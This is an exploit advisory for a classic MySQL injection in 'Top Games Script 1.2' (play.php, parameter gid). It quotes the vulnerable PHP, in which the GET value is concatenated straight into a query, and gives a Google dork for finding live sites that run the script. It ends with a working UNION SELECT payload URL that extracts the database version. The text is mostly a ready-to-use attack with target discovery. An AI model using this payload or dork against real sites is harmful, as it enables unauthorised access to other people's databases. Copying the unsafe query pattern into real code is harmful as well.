Top Games Script 1.2 – ‘play.php?gid’ SQL Injection
TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability ==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://sourceforge.net/projects/gamesscript/files/latest/download?source=directory .:. Dork : inurl:"play.php?gid=" "Powered By TopGames.ws" #################################################################### ###################################### VULNERABILITY: CLASSIC MYSQL INJECTION ###################################### /play.php (LINE: 4-19) ----------------------------------------------------------------------------- $gameID= $_GET['gid']; $con = mysql_connect($dbserver,$dbuser,$dbpassword); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db($dbname, $con); $sqlselect="SELECT * FROM games WHERE gameid=" . $gameID; $result = mysql_query($sqlselect); $row = mysql_fetch_array($result); $gwidth = $row['width']; $gheight = $row['height']; ----------------------------------------------------------------------------- ##################################################### EXPLOIT ##################################################### http://localhost/TopGamesScript/play.php?gid=null and 1=2 UNION SELECT 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 #################################################################### |